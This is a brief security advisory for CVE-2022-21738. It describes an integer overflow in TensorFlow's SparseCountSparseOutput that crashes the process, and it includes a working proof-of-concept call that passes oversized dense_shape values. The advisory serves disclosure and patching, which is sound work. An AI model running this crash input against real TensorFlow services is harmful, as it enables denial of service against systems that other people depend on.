CVE-2022-21738: Integer overflow leading to crash in Tensorflow

February 9, 2022 (updated November 13, 2024)

The implementation of SparseCountSparseOutput can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:

import tensorflow as tf
import numpy as np

tf.raw_ops.SparseCountSparseOutput(
indices=[[1,1]],
values=[2],
dense_shape=[2 ** 31, 2 ** 32],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
